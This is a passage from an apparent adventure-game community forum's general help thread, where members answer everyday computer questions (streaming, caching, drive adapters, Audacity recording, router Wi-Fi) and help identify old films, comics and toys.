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Post by: LRH on 09 Sep 2011, 19:24
My ignorance in the field of streaming things online has bothered me for ages but I've been too lazy to post about it. There's quite a lot I want to know, since I find it all very fascinating.

1.) When a video streams, what exactly is going on? Is the computer simply taking bits of information at a time and storing them temporarily as they play, or is it actually relying entirely on another computer and just acting as a medium in which to show you?

2.)Similar to the question above, how does...well, everything else work? As far as pictures and such... when you access a website with pictures and text, are the pictures and text temporarily saved to your computer while you view them? Or does the explorer simply show you pictures and text stored on another computer without the need to temporarily store them? Does this process vary depending on the file medium?

Sorry for packing so many questions into one post but my fundamental misunderstanding of how the internet works has been driving me crazy lately.
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Post by: poc301 on 11 Sep 2011, 06:27
My ignorance in the field of streaming things online has bothered me for ages but I've been too lazy to post about it. There's quite a lot I want to know, since I find it all very fascinating.

1.) When a video streams, what exactly is going on? Is the computer simply taking bits of information at a time and storing them temporarily as they play, or is it actually relying entirely on another computer and just acting as a medium in which to show you?

2.)Similar to the question above, how does...well, everything else work? As far as pictures and such... when you access a website with pictures and text, are the pictures and text temporarily saved to your computer while you view them? Or does the explorer simply show you pictures and text stored on another computer without the need to temporarily store them? Does this process vary depending on the file medium?

Sorry for packing so many questions into one post but my fundamental misunderstanding of how the internet works has been driving me crazy lately.

1)  The data is sent as usual, but in sequential order.  This means the software can interpret it as it comes in, and play it live.  It doesn't have to download the entire thing to use it.

2) Anything you load is saved to your "Temporary Internet Files", a folder on your computer.  The browser uses that to display the site you're looking at.  If there is no update since last time you visited, it just reads that data instead of retransferring it again.

So yeah, nothing is ever done in a web browser without being downloaded to your PC first.  Unless I am missing some new technology, but I don't think so :)

-Bill
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Post by: Snarky on 11 Sep 2011, 13:41
My ignorance in the field of streaming things online has bothered me for ages but I've been too lazy to post about it. There's quite a lot I want to know, since I find it all very fascinating.

1.) When a video streams, what exactly is going on? Is the computer simply taking bits of information at a time and storing them temporarily as they play, or is it actually relying entirely on another computer and just acting as a medium in which to show you?

2.)Similar to the question above, how does...well, everything else work? As far as pictures and such... when you access a website with pictures and text, are the pictures and text temporarily saved to your computer while you view them? Or does the explorer simply show you pictures and text stored on another computer without the need to temporarily store them? Does this process vary depending on the file medium?

Sorry for packing so many questions into one post but my fundamental misunderstanding of how the internet works has been driving me crazy lately.

Pretty much anything you see on the web always relies on a remote computer ("web server") sending you something, and your computer displaying or rendering that something. You need to be connected to the internet because the things you want to see are on the web servers, and you need to have a computer (rather than, for example, just a monitor and keyboard connected directly to the modem) to figure out how to display the things you receive.

Now in principle, the web server could just send you "this is what your screen should look like" and an image that you just splatted directly to the monitor (or to be more precise, to the video memory in your graphics card). Essentially a constant video stream sent just to your computer. And in that case you might not even need a computer, or at least not a very advanced one: this is often called a terminal system. That's how VNC works (where you can control a computer remotely from another computer). But it would take a lot of bandwidth, be very inflexible between different screens and computers, and cause a long lag any time you wanted to scroll, or hover over a link, or do anything else that would update the screen. And it would be a ton of extra work for the web servers. So what they do instead is to just send you the data and say "you figure out how to display this", and then your browser interprets it and renders the screen locally. That's why the same web page can look slightly different in different browsers, and also allows you to do things like change the font size without bothering the web server.

Web pages are sent as text files in HTML format, and you can just save them if you want to look at them when you're off-line (though links between different pages may not work because they're pointing to the internet address instead of the local copy, and interactive stuff that involves talking to the server, like the buttons on this page to post the message I'm writing, obviously won't). Images are sent as image files, just like the ones saved on your computer.

With video streaming, they could send each image and the sound constantly, and your computer would just have to put it on the screen and send it to the speakers, but again, that would be very inefficient, and if any of the images or sound bits got lost it would ruin the video. (And messages get lost all the time on the Internet; it's just that the system is smart enough to detect when it happens and send it again until it gets through.) So instead they send little chunks of the video file (in order) and lets your browser figure out how to decode and render it. So you can take the same video and make it full-screen, for example. That's also why sometimes some videos won't play on some systems (like the iPhone had trouble with a lot of videos for a long time), because they don't know how to render it. The server keeps sending you the next chunks of the video as fast as you're playing them (or even faster, and then the browser just keeps them in a buffer until it's time to play them), but if you jump around too much in the video you have to ask it to send you the bits from the part you jumped to.

So the web server sends you text, images and chunks of video, and the browser keeps those things in memory while it needs to display them. Then it either throws them away, or saves them to files on your computer. Anything you see on the Internet has been sent to your computer and can be saved if you want to, but it won't always work by itself. For example, you can save the Google homepage as a file, but it won't let you do Google searches offline because every search involves talking to the Google servers.
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Post by: LRH on 12 Sep 2011, 00:53
Wow, fantastic answers. Thank you both Bill and Snarky! I'm happy that I know how it all works now. :)
Title: Re: Ask something - We can help.
Post by: cat on 13 Sep 2011, 18:06
The download link to my game was broken because of my stupid host but thanks to Peder I now have a reliable host. Who do I have to contact to remove the "download link broken" message from the gamepage?
Title: Re: Ask something - We can help.
Post by: bicilotti on 13 Sep 2011, 18:11
The download link to my game was broken because of my stupid host but thanks to Peder I now have a reliable host. Who do I have to contact to remove the "download link broken" message from the gamepage?

Game page >> scroll down. You should find a:

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Are you this game's author? Then you can edit its entry.

Voilà!
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Post by: cat on 13 Sep 2011, 18:15
I fixed the link. But it still shows the download is broken.

Nevermind, it's ok now.
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Post by: Stupot on 13 Sep 2011, 20:44
Just need some general advice, using Hotmail with Firefox. It seems to come and go in waves, but right now I'm experiencing a problem whereby clicking any link in Hotmail, ie, inbox, delete or the messages does nothing. And this isn't the first time, in fact, it's probably beyond the 50th time since I started using Firefox years ago. Some times it does this, then in a few weeks time, I'll probably be able to click all those links with no problems.

Any ideas, would it be Java related? Just updated Firefox, it hasn't helped this situation. And the previous version was doing it. But BEFORE I went to Mittens it was working fine, so I just don't get it, can't figure out where the problem is originating from. Any other experiences of such or ideas for a fix appreciated :)

I used to find Firefox would get buggy with certain websites once in a while and clearing my cache generally solved it in the short term, but looking back, it did happen fairly frequently.  Be like me and switch to Chrome :-)
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Post by: Buckethead on 18 Sep 2011, 17:19
while taking some screens from a game i accidently remapped my keyboard. many letters now appear as numbers. does anyone know  sulution? i've already tried changing language presets. thanks in advance!
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Post by: selmiak on 18 Sep 2011, 17:57
are you on a laptop without a numpad? Then you might have turned on the numpad, search for some FN combos to turn it off again.
Title: Re: Ask something - We can help.
Post by: Buckethead on 18 Sep 2011, 18:45
Oh how silly, it was indeed just numlock haha. Thanks for the help!  :)
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Post by: selmiak on 18 Sep 2011, 18:51
:D
Title: Re: Ask something - We can help.
Post by: WHAM on 27 Sep 2011, 08:47
EDIT: I've just been informed that most of these comics were never released in english. What the FUCK is up with that!?
I feel sad for you people!

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I have been bitten by the comic-book-nostalgia-bug. I've read some of these comics in the library as a kid and now I want to BUY them. Sad thing is, I've yet to find them on sale on any website as full collections, only some used copies, mostly in french, whereas I need either English of Finnish versions.

Please somebody help me, I am going mad and the librarian tells me some of their copies are either lost or on loan!

http://en.wikipedia.org/wiki/Le_Petit_Spirou

http://en.wikipedia.org/wiki/Spirou_et_Fantasio

http://en.wikipedia.org/wiki/Gaston_(comics)
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Post by: MJL on 27 Sep 2011, 22:00
Glad this thread exists, if only for my q's about destroying PC equipment...

I had a HD failure earlier, then the power pack went whilst re-installing XP, and then I did something stupid and the power pack exploded. That's not the issue though. I can replace that - for about $100, but in the short term I'm worried about getting my AGS games transferred from a sata HD.

The issue is this: I've hooked up my years old computer which uses older HD's which are connected with the 4 pin Molex cable. The PC that died has SATA HD's. My AGS games are safe on one of my SATA hard drives, but I don't know how to get that HD to work in or just briefly for some transfer to another HD which is using molex.

How do I connect a HD using SATA to a computer using molex 4 pin connectors?

Is it as simple as getting a SATA > Molex adapter, like this:
http://www.scan.co.uk/products/20cm-scan-sata-power-converter-rb-414-4pin-molex-to-15pin-sata-%28normal-psu-to-sata-sataii%29

or am I going to need more than that? Any help is appreciated. Not had to do this before so I don't know if I'm asking the right questions!! Thanks :)
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Post by: Khris on 27 Sep 2011, 22:17
That's not enough, the 4pin cable is just for power. Notice the wide, flat cable next to it? That's where the data goes through. :=
I'm not sure if getting another cable is enough here, my guess is you'd have to buy a SATA controller card (because your main board doesn't have one).
Connecting IDE HDs to a SATA port on the other hand would just require an adapter.

Since you're looking for a short term solution though, buy that one:
http://www.amazon.co.uk/USB-SATA-IDE-CABLE-ADAPTER/dp/B003Q97FIW/ref=sr_1_5?ie=UTF8&qid=1317157734&sr=8-5

With that you can connect any HD to a USB port, perfect if you just want to get data off a HD.

Edit: I've just noticed that the power supply seems to be really poor; this one might be better:
http://www.amazon.co.uk/Dynamode-USB-SI-C-controller-SATA-300-Hi-Speed/dp/B000LQ4WMU/ref=sr_1_11?ie=UTF8&qid=1317157734&sr=8-11
Title: Re: Ask something - We can help.
Post by: MJL on 27 Sep 2011, 23:02
Thanks LeKhris, that's a great solution - woop! So that will definitely power the SATA HD when it's just sat on the floor, right? :) Thanks again though - the kits you've mentioned very much answer the short term problem!

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Otherwise it worked a treat and allows the user to access data
from old surplus drives removed from a PC.

Oh answered...I see the reviews (and the power pack issues) - thanks for the heads up! :)
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Post by: Eggie on 29 Sep 2011, 16:56
Why isn't this javascript working?

Code: Adventure Game Studio
  1. <body color="white" font="Arial" bgcolor="black">
  2.  
  3. <SCRIPT TYPE="text/javascript" LANGUAGE="JavaScript" >
  4. function PrintLink(var name,var address,var description){
  5.     document.write(' <li class="link"><h1><a target="_parent" href="' + address + '">' + name + '</a></h1><p>' + description + '</p>');
  6. }
  7.  
  8.  
  9. PrintLink("A Link","http://crazypotatojacobshouseofchips.net","My favourite chippy");
  10. PrintLink("Wheeee","http://slidesaretotallysnide","Imitation playground vendor");
  11. PrintLink("Link3","http://platesplatesandmoreplates.com","etc etc etc");
  12. </SCRIPT>
  13.  
  14.  
  15. </body>
  16.  

The page is just blank. It's not li.link because that shows up fine when it's being written without being called from the function :/
Title: Re: Ask something - We can help.
Post by: TomatoesInTheHead on 29 Sep 2011, 17:37
replace
Code: Adventure Game Studio
  1. function PrintLink(var name, var address, var description){
  2.  
with
Code: Adventure Game Studio
  1. function PrintLink(name, address, description){
  2.  
and it should work :)
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on 30 Sep 2011, 09:30
http://en.wikipedia.org/wiki/Le_Petit_Spirou
http://en.wikipedia.org/wiki/Spirou_et_Fantasio
http://en.wikipedia.org/wiki/Gaston_(comics)

NOW you're talking. Gaston Lagaffe BEST. COMICS. EVER. ( http://en.wikipedia.org/wiki/Gaston_Lagaffe )

(http://www.wpartage.com/site_media/photos/Gaston_Lagaffe_02_Le_Bureau_des_Gaffes_en_Gros.jpg)

I wouldn't know how to find them in English, though. I've found them in German in the past. Belgian/French comics have a strong penetration in Continental Europe, but the English-speaking world is totally oblivious to them (except for blockbusters like Tintin, Asterix and the smurfs -- mainly because of the animated series for the latter). the wikipedia article says it was printed in Finnish.


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Post by: WHAM on 30 Sep 2011, 09:54
@ Ouxx
Yeah, I edited my post later on. It seems most of these comics were never translated to english and it also seems the finnish translations are mostly out of print and sold out. I've found some used copies and am scouring webstores for more copies. It is not going well, though... :(
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Post by: Monsieur OUXX on 30 Sep 2011, 09:56
Here is my request for help: I'm looking for the title of a movie:
- It's less than 10 or 15 years old.
- It takes place in 19th-century Great Britain
- The whole story takes place in a countryside mansion
- It's during Christmas Eve, or maybe new-year's eve
- The master is away
- He left his intendant in charge while he's away
- The intendant is a clever but very ambitious man, with something dark about him.
- The master's daughter is in love with him, but she's a tad mad and hysterical
- The whole movie is a long conversation between the two of them -- a mix of seduction and arguments and violence.
- In the end he rapes her (I believe? I'm not sure?) and then she kills herself.

Please please please please please please please

==============

EDIT: I got it, it's Miss Julie :


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Post by: Gilbert on 30 Sep 2011, 10:17
Heh This looks like a post in the "Guess a movie" thread but without pictures, but anyway, no, I don't know about this movie.
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Post by: Snarky on 30 Sep 2011, 11:54
NOW you're talking. Gaston Lagaffe BEST. COMICS. EVER. ( http://en.wikipedia.org/wiki/Gaston_Lagaffe )

(http://www.wpartage.com/site_media/photos/Gaston_Lagaffe_02_Le_Bureau_des_Gaffes_en_Gros.jpg)

I wouldn't know how to find them in English, though. I've found them in German in the past. Belgian/French comics have a strong penetration in Continental Europe, but the English-speaking world is totally oblivious to them (except for blockbusters like Tintin, Asterix and the smurfs -- mainly because of the animated series for the latter). the wikipedia article says it was printed in Finnish.

Cinebook (http://www.cinebook.co.uk/index.php?cPath=182) is (slowly) publishing some of the Spirou albums from the Tome & Janry era in English. Adventure Down Under and Spirou in New York are available now, and they just announced Running Scared (La frousse aux trousses) to be released next spring. Also, Kim Thompson from Fantagraphics is an avowed Franquin fan, and has said he wants to give Spirou another try some time (probably in the same format that Fantagraphics just released Gil Jourdan in: two albums collected in one hardcover book).

Other than that, there are a few fan translations (of variable quality) available, including quite a lot of Gaston gags, Spirou: Machine qui rêve and Petit Spirou: Dis bonjour à la dame. Some more stuff here: http://scans-daily.dreamwidth.org/tag/char:+spirou
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Post by: WHAM on 30 Sep 2011, 11:57
Thanks Snarky!  ;D This pleases me, I just hope Cinebook will get more ASAP!
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Post by: Monsieur OUXX on 30 Sep 2011, 14:49
That's cool. I'm a bit annoyed that Tome&Janry always seem to be the most attractive just because they have a "cool" graphic style... even though Franquin is clearly the genius here! But, eh, what can I do.
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Post by: Tuomas on 01 Oct 2011, 17:25
A question about proxy, might sound dumb, but anyway. I kind of have the idea, that certain websites are only available in certain countries. I also have the idea, that the site will notice where you are because of you IP. Then if I use a proxy, is this not for changing you IP to seem the way you wanted it to?

Like, the national tv of Finland shows the Moomin series on the internet service, but I'm in Berlin, so I can't watch them. Isn't the proxy settings of firefox the way to goof around with it? You know, to seem Finnish again. And the last question: how does this work?
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Post by: Tabata on 01 Oct 2011, 17:44
How about hiding your ass* (or equivalent) for example?  ;)

                     (http://smilies-smilies.de/smilies/computer_smilies/linkhier.gif) (http://hidemyass.com/)

* (not my own choice of words, but it will be clear, if you use the link)  ;D
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Post by: Tuomas on 02 Oct 2011, 23:15
Not really no. I tried opening this http://areena.yle.fi/video/1316936722189 through the site you linked to but it didn't load.

I also tried a vpn connection through my university in Helsinki and should have been this 128.214.5.157, but it again complained that I have to be in Finland to watch it. Is there no solution?
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Post by: Tabata on 02 Oct 2011, 23:40
Now I am confused ::), because the site you linked opens for my (without hiding!) and I am from Germany  ???

I don't know anything about such things in special, but this is strange for me now, too (http://www.adventure-treff.de/forum/images/smilies/eusa_think.gif)

Edit:
Aaah, stop - not the video, sorry (it was only the first pic, but didn't start) - so you're right (http://www.mini-power-forum.ch/images/smilies/icon_redface.gif)

It seems to me, that you can't use the free version, if you want to choose an IP from a specific country. There might be some other sites which allow it for free, but I don't use it often, so we need help from the others about this.

So is there someone who already knows such a site?
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Post by: Tuomas on 07 Oct 2011, 15:27
Man, there's Finland playing against Sweden, and they're showing it for free, but I still haven't found a way in there, tried some Finnish proxy-lists, but na.

EDIT: apparently using my university VPN works on Mac, but not on my Vista PC. No idea why, anyone?
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Post by: Monsieur OUXX on 14 Oct 2011, 12:10
It's a question about video editing.

I'm looking for the official name of a specific post-processing effect.

It's a bit like Chroma-Key (where the background is all green so it's easier to isolate the backrgound from the foreground), but in this effect, you feed the software with a still picture of the background (if you're lucky enough to have one) and then the software computes it out of each frame where the character appears and moves around. In the end, thanks to to this still frame, you've managed to isolate the foreground from the background.

the reason why I want to know the official name is to find tutorials about it. Hard ot use Google when you don't know the name of something.

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Post by: Ali on 14 Oct 2011, 12:21
You could try "Difference Key" but I'm not sure.
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Post by: TomatoesInTheHead on 14 Oct 2011, 12:28
"background subtraction" is a name for this at least in the scientific community, don't know about video editing though.
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Post by: Chicky on 14 Oct 2011, 12:58
Here's a basic tutorial, it's a hard effect to get right. You're better off using it to add things behind the talent, rather than replacing the background completely. Have your actor wear something bright that will stand out against the background.
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Post by: Wonkyth on 14 Oct 2011, 13:00
After a little Googling, I think the term you're looking for is difference matte key.
Hope that helps.  :)

EDIT: Ninja'd by Chicky, dammit!  :P
Although, Chicky, did you mean to have a link in there somewhere?
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Post by: Monsieur OUXX on 14 Oct 2011, 13:34
Thanks guys!
I'll try with the terms you suggested :


- "difference key"
- "difference matte"
- "background subtraction"

Also yes, chcicky, didn't you forget the link or something?


EDIT: So far I've found tutorials on that only for expensive products such as Aftereffects and Premiere. the good new is it also seems like Blender does the job (I didn't even know it was doing video)
Nothing in Wax or VirtualDub apparently.
- Blender:

- Aftereffects: http://forums.creativecow.net/thread/2/923637
- Premiere

I've also found new names to call this:

- "fixed plate" / "clean plate"
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Post by: Monsieur OUXX on 14 Oct 2011, 15:46
It actually seems to be an advanced thing. Outside of big expensive applications I can't find anythng (except, then again, in Blender).
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Post by: Ali on 14 Oct 2011, 16:22
Yay for blender!

I've never used this effect, I've always been worried that there'd be too much chance of the actor sharing colours/tones in common with the background. Let me know if it works out!

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Post by: InCreator on 14 Oct 2011, 16:41
Does anyone know a good free collaborative tool?
Browser based, something like google docs, but so you can quickly drop files there or sketch or make flowcharts and share with project members?
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Post by: Wonkyth on 15 Oct 2011, 02:36
Well, I'd say Wave, but that up and died. :(
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Post by: Chicky on 15 Oct 2011, 03:21
Haha Chicky forgot the link!  :D
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Post by: Nikolas on 16 Oct 2011, 06:39
So...

I'm looking to make a website for my wife (an architect). Nothing too fancy in terms of what needs to work and how it needs to work. It's just a few pages about her, the services, contact info, etc...

I do NOT want to pay anyone to do it. She's got a great graphics head (being an architect) and I know how a website should be/look/feel (and prolly get some feedback from here).

What I do not know is HOW to do it. I will not programm html5 or other... no way. I know that some people base their websites into blog creating systems, but can this really work? Can someone link me to some free website creation software? (I have plenty of hosting to go around so I would only need to register the domain name)...

Thank you!
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Post by: Oliwerko on 16 Oct 2011, 09:13
I've seen some websites done on http://www.webnode.com. It's possible to use the system on your own domain too. I don't really have any experience with it, I've just seen that it's kind of drag-and-drop thing. I think it's worth trying out.
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Post by: nihilyst on 18 Oct 2011, 13:36
I'm looking for a movie, but I just can't find it.
Its plot involves some kind of nanobots (or just little robots) eating metal. They somehow destroy all the computers, and at the end, traffic lights go wild. In order to stop them, the protagonist uses the gameboy of his son, which is the last computer on earth or something, to hack into the nanobots' main system and stop them.
I'm afraid that's all I can remember. I've seen it here in Germany on TV a couple of years ago. Don't know if it's a production for television or for the movies.
I'd say it's a 90s film, maybe 1990 to 2001.

Anyone know that?
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Post by: selmiak on 19 Oct 2011, 21:36
is it possible to record the audio output of my speakers with audacity? I only found tutorials that need another cable that connect the audio out with the mic in. And putting the mic next to the speakers is not preferred and truely my last choice. Any good free streamrecorders out there? But having it straight in audacity would be best ;)
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Post by: Bror_Jon on 19 Oct 2011, 22:08
@selmiak

Yes.

Go to edit>preferences>soundin/out and change recording to your sound card.

Edit: If you can't find your sound card in the drop down menu (and you have windows vista or 7), do this:

Go to control panel>sound>recording and right click the area with the devises and set it to "Show disabled devices".
Then your sound card should be visible as "stereo mix". Enable it!
After that audacity ought to be able to find it.

Edit edit: Also, if you want to record stereo sound, you need to change this in Audacity. You do this at the same place as where you select recording source.
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Post by: selmiak on 19 Oct 2011, 23:57
doesn't work.
I don't have to go to preferences and stuff, as you can select the input directly from a dropdownmenu in the main window in audacity 1.3.12beta.
I already tried everything there, didn't work. So I went to win7>settings> sound>recording and tried either auxiliary (with the soundcard image next to it) and  S/PDIF (with the car audio image (?) next to it) and tried all inputs in audacity. Some inputdevice settings made audacity tell me to check the sample settings of the project so I set everything in the audacity settings in preferences>quality to 16bit 41,1kHz (resp. 48kHz) and tried all input devices. Nada. Some told me to check the sample frequency again though. :(
While in the preferences of the sounddevice in the win settings you can check a 'listen in'. I checked that and mapped the sound to various devices, and nothing was recorded in audacity...
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Post by: MJL on 20 Oct 2011, 01:24
I'm trying to remember a puzzle game from the late 90's. I think you played as little blob things, flipping over tiles or something. All I remember is one of the backdrops being Mount Rushmore, or a variation of Mt. Rushmore. Can't for the life of me remember what it's called, so if anyone has a brainwave, please let me know!  :=
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Post by: bicilotti on 25 Oct 2011, 16:32
Back in the day I saw this peculiar watch, which used binary notation to display time.

(http://img835.imageshack.us/img835/2328/immaginesto.png)

I hope this crude mspaint will help me explain.

It was brasslike, with eight dots (divided in two halves). Each "dot" was nothing more than a thinnish cylinder, which could be "up" (i.e. in relief) or down.

Do you know if it is still in production or where I can find it? Or anything similar?
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Post by: Ghost on 25 Oct 2011, 17:05
They are. rathergeeky.com still sells them as alarm clocks.

http://www.rathergeeky.com/ (http://www.rathergeeky.com/)

edit:
They look terribly complicated- what do you do when someone asks you the time? What do you acually SAY???
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Post by: bicilotti on 25 Oct 2011, 17:15
They are. rathergeek.com still sells them as alarm clocks.

They are. rathergeek.com still sells them as alarm clocks.

Found the original too!

http://watchlords.forumotion.net/t12548-vintage-see-touch-watch

It seems it is not produced anymore. :( Help me find someone who is selling it!
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Post by: HandsFree on 11 Nov 2011, 15:25
I like to update my gip thread with a music sample.
How do I make a link so the music plays when you click on it (instead of only giving the option to download it)?
Does it need a specific file host, or a special command?
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Post by: Grim on 07 Dec 2011, 23:31
My laptop doesn't detect my wireless network all of a sudden... It detects loads of other nearby networks but mine isn't even on the list anymore. Same with my PS3- can't connect wirelessly with that either. The PC is fine, it's connected with a cable. Also, the WLAN light on the router doesn't light up anymore, so I'm guessing it's problem is with the router. It worked fine for a couple of years... but do you think it could've broken suddenly? My son keeps playing with it sometimes ( driving me nuts!) so maybe he did it, little bugger, like licked it or bit it or something... ;(

Should I assume that wireless capability of the router is gone forever and call the service provider's helpline (and ask them to send a new one) or is there some way I can fix it? Any ideas, folks? Maybe someone had a similar experience? I'd appreciate some advice, as I'm really lost here...
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Post by: LUniqueDan on 08 Dec 2011, 17:04
When it happens I check 4 things in order :

1) Was there any electricity shortage or electric storm ?  If yes, your router may had reseted itself ? (It happens)

2) Was the router unplugued secretly for days by mistake (Vacuum-Cleaner Manic Girlfriends, kids playing with toy cars  to be suspected) ?

3) Was the "Broadcast SSID" function still checked (or was the "don't broaccast  SSID") became checked ? The same for the "enable wireless" if such existed.

4) Was the connection secured and did a neigbors change the setting trying to open the port for their own torrent (It happens too)?

Otherwise, change the router. Couple of years is relatively long for such devices.
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Post by: Grim on 08 Dec 2011, 20:22
Thanks LUniqueDan, but I've managed to sort it out by talking to AOL helpline guy and following a very long set of instructions- I had to create new passwords and networks but it worked! I was so happy I took my time and did the survey afterwards grading that guy 'excellent' for everything, despite his strong indian accent which at times I found difficult to understand. I don't understand what we did, but I'm just really glad it's fixed:)
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Post by: Khris on 08 Dec 2011, 20:39
In case this happens again:

The WLAN light didn't light up as in the WLAN was turned off. If the LAN connection is up and running though you can pretty much rule out a power issue of any kind.
Some routers have a small switch near the jacks to quickly turn the WLAN on and off.
If there's no switch or it isn't turned off, a power cycle might fix it.
If the WLAN has got turned off for good, all you have to do is navigate to the router's menu and turn it back on. There's absolutely no need to change the network ID or password or setup new networks.

To get to the router menu: Start -> Run, type "cmd", enter, in the black window (command prompt) type "ipconfig", enter.
Your PC's LAN connection details will appear, among them the gateway address, something like 192.168.1.1. Just type that in the browser's address bar and you're in the router's menu (you might have to login first).
In there, find the Wireless settings and turn WLAN back on.

The AOL guy was working off a script and my guess is that 90% of that call was a complete waste of time.
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Post by: Grim on 08 Dec 2011, 22:49
You're probably right Chris, but it felt strangely reassuring to have someone tell you step by step what to do, even if we were taking a longer road to get there;) Personally, I know nothing about these things and all attempts to google some solution up just left me more confused. In the end of the day, I'm happy, my girlfriend can go on facebook again and the AOL guy must be feeling pretty good about himself, too. Maybe he'll even get a pat on the shoulder from his boss for receiving such a positive feedback;) 


I just hope they didn't charge me too much for that 25 minute call..... ;)
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Post by: Bulbapuck on 12 Dec 2011, 15:53
I'm gonna buy a new computer after christmas, and I've started to look around. The thing is, I know very little about computers, but the little I do know tells me that this is probably a good choice:

http://www.amazon.co.uk/Packard-Bell-iXtreme-Processor-Graphics/dp/B005VOTPXI/ref=sr_1_6?s=computers&ie=UTF8&qid=1323703420&sr=1-6

I know that some of you guys are good at this kind of thing, so I decided to get your opinion.

What I'm looking for is something cheap that I can use for playing games and doing schoolwork.
I suppose the only tricky part is the gaming aspect, but I don't need an awesome gaming computer. I just need it to be able to run games like Portal 2 and Borderlands. My current computer refuses to run about 60% of the games I own :P
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Post by: Khris on 12 Dec 2011, 16:22
I guess it's ok, you might want get a graphics card with a bit more horse power though. The one in there should be fine to player Portal 2 and Borderlands, but anything a bit more recent might look a lot better with a 520 or 560.
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Post by: Bulbapuck on 12 Dec 2011, 16:48
Great, I'll look into that. Thank you :)
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Post by: Anian on 12 Dec 2011, 16:54
I guess it's ok, you might want get a graphics card with a bit more horse power though. The one in there should be fine to player Portal 2 and Borderlands, but anything a bit more recent might look a lot better with a 520 or 560.
Indeed.
It seems to have plenty of RAM for Adobe stuff. It's says Win7, but then it says it comes with Server 2003...so check that before you get it. Also if you plan to get more hdd and a stronger graphics card (which I suggest you basically buy looking at the money you can spend, the higher the number the better and they have their own memory as well so make sure to check that as well) check if the power supply will offer enough juice for all the components (you basically see what each component spends and add the numbers then see if the power supply offers as much).

But yeah, I buy a pc like every 3-4 years and by then stuff like processors completly change, I bought a pentium duo core 2x3.2 and now there's a completly different gradation like i3, i5, i7 and really even intel's web pages offere very little info for someone that's not a techwiz, except that "the more money you put in the better", which is a stupid rule.
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Post by: Nikolas on 20 Dec 2011, 20:08
I'm wondering if any of you know about this...

About 20 (25?) years ago there was a company, which produced AMAZING 'lego-like' games but with robots and stuff... With moving parts, etc. And these robots would transform into something else (a spacecraft, or a car, etc...) But based on the same principal of lego (the brick game)... I think the name was something like 'tedex' or 'tendex' or something like that... Any ideas what it was?
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Post by: Stupot on 20 Dec 2011, 20:59
Lego Technic?
That was basically Lego, but with rods, motors, belts etc.  I'm sure it's still going.
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Post by: Nikolas on 21 Dec 2011, 11:28
Nope... It was another company... :-/
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Post by: Anian on 21 Dec 2011, 12:54
There was (or is) K'nex, but it's not so much like Lego, but collection of gears and sticks.

But Lego Technic wins in my book, sturdy and fun...now I play with 3ds max, but a suitcase (that's right I have a Technic suitcase) is still beneath the bed.  ;D
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Post by: bicilotti on 21 Dec 2011, 16:47
I am searching for a laptop:

- 12" or smaller screen
- 3g
- SSD
- Linux friendly

I thought there would have been a site where you could select/enter those specs and get a list back, but alas there is not. Help?
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Post by: WHAM on 29 Dec 2011, 14:54
Can you help me pick a good webcam for small video projects? I'm looking for one that can do at least 720p at 30 frames per second and most importantly has a good quality microphone that can pick up voice at over 2 meters. That is, one with a microphone that doesn't require me to lean into it all the time...


Hmmm... I keep asking but haven't really helped anyone. Let's try at least...


@Bici: I fear laptops meeting those requirements came and went. The Asus eeePc series had some fairly cheap ones that met your requirements, but the ones that came with Linux preinstalled (and would thus count as "linux friendly") went out of production about a year ago as far as I know. The biggest issues and uncertainty is whether or not you will find one that has a working 3G card that has proper support for linux drivers.

All I can suggest is you find laptops that meet your requirements and then dig around to see if you can find out what 3G card / chip they use (manufacturer website often has this info stashed away somewhere) and then try to find out how well it supports Linux drivers. If support exists, you're pretty much in the clear.

All in all, I can only recommend working with Windows OS when it comes to laptops, due to the wide ranging driver issues revolving around laptop hardware.
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Post by: bicilotti on 29 Dec 2011, 15:44
@Bici: I fear laptops meeting those requirements came and went. The Asus eeePc series had some fairly cheap ones that met your requirements, but the ones that came with Linux preinstalled (and would thus count as "linux friendly") went out of production about a year ago as far as I know. The biggest issues and uncertainty is whether or not you will find one that has a working 3G card that has proper support for linux drivers.

Thanks WHAM, I appreciate. I was almost buying a samsung Chromebook, when I discovered that you cannot natively run Debian (or anything else than ChromeOS). You're right, there is not a lot out there, so I will probably pick my machine outside the x86 pack (i.e. Efika smartbook (http://www.genesi-europe.com/store/eu/)).

Good luck with your webcam hunt, I'm so retro I use an old camera with film to take pictures.
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Post by: Grim on 14 Jan 2012, 05:24
I have a question related to one of the puzzles in my game. The main character at some point has to cut through the electric cable ( coming out of electric meter that provides electricity for the apartement). As it fits with the storyline ( and all animations and interactions already made) she does that with a pair of scissors. I figured that since scissors have a plastic handle she wouldn't get an electric shock... 

Then a friend of mine comes over for a coffee ( in real life,  not in game ;)) and as I remembered he trained as an electrician few years back, though never worked in that profession, I ask him what would happen if you did that. He says, -of course-, an electric shock and a big flash of light.... I'm thinking: shit. Gonna have to make some changes... But is he REALLY right about this? Anyone knows? ( I'd appreciate if you think he's wrong, so I don't have to change anything, but I will also listen to the truth... ;))
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Post by: ThreeOhFour on 14 Jan 2012, 07:02
To my knowledge, if the circuit was RCD protected it'd just trip the RCD out, meaning all the devices on that circuit would stop getting power. Perhaps just use that as an easy excuse? (unless it's quite an old building, in which case it is unlikely to be RCD protected)

Just for reference, I am not an electrician, but one of the members in my band is and has discussed RCDs with me in the past.
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Post by: Calin Leafshade on 14 Jan 2012, 07:36
I am not an electrician, but one of the members in my band is and has discussed RCDs with me in the past.

Woohoo, party time.
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Post by: Grim on 14 Jan 2012, 07:43
Thanks Ben;) Reading up about RCBs now.... ;)

Another thing- would scissors actually be strong enough to cut through electric cable? We're talking decent sized scissors and a cable that's about... the thickness of... a guitar cable? :-\
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Post by: Chrille on 14 Jan 2012, 13:54
If it's a big pair of scissors you might be able to cut the cable, but it's more likely you'd ruin them unless you cut it bit by bit. Wire cutters is the way to go. And your friend is right about the light blast, even if you the plastic kept you from getting electrocuted a big light explosion would be the danger.

But it's not like people are going to be in an uproar if the puzzle isn't entirely realistic.
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Post by: Dualnames on 14 Jan 2012, 17:44
See usually all the wire cutters have a resistance along. At work we used a certain brand that had resistance for 1000V. Cutting the cable that goes to the electric meter, would require a bit of strength there, or very VERY VERY ULTRA MAX SHARP scissors. Unless they are gardening ones. The thing is that the scissors can't stand such amperage, most likely electrocution is there, and if we take a moment and pretend the cut will be instant-like, there will be a flash and for a short period of time the scissors will have to work as part of the cable. That means the plastic may or may not stand the heat.

Even if we're talking about the lowest amperage possible, it's still not possible for a standard normal scissor to do it, imho. The time to cut the cable and the possibility of getting electroshocked is quite big. Unless they are gardening scissors.
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Post by: Grim on 15 Jan 2012, 03:24
